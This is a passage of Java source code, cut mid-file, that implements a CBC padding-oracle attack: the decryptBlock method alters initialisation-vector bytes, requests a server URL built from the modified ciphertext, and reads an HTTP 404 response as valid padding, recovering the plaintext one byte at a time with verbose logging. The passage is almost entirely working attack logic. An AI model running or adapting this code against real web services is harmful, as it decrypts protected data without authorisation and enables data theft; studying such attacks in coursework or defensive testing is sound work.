return response;
}
public static ByteSequence decryptBlock(ByteSequence iv, ByteSequence cipher)
throws CloneNotSupportedException, IOException {
ByteSequence plain = new ByteSequence(new byte[cipher.length()]);
boolean wrongGuess = false;
byte avoidGuess = 0;
for (int pos = cipher.length() - 1, pad = 1; pos >= 0; pos--, pad++) {
ByteSequence attack = iv.append(cipher);
boolean foundGuess = false;
for (int guess = 0; guess < 256; guess++) {
if (wrongGuess && guess == avoidGuess) {
System.out.println("Skipped; pos: " + pos + "; pad: " + pad
+ "; guess: " + guess);
continue;
}
byte subs = (byte) (iv.byteAt(pos) ^ guess ^ pad);
attack.setByteAt(pos, subs);
for (int i = 1; i < pad; i++) {
subs = (byte) (iv.byteAt(pos + i) ^ plain.byteAt(pos + i) ^ pad);
attack.setByteAt(pos + i, subs);
}
URL url = new URL(baseURL + attack.toHexString());
int response = getResponseCode(url);
System.out.println("pos: " + pos + "; pad: " + pad
+ "; guess: " + guess + "; attack: "
+ attack.toHexString() + "; reponse: " + response);
if (response == 404) {
System.out.println("Character at position " + pos + ": "
+ guess);
plain.setByteAt(pos, (byte) guess);
wrongGuess = false;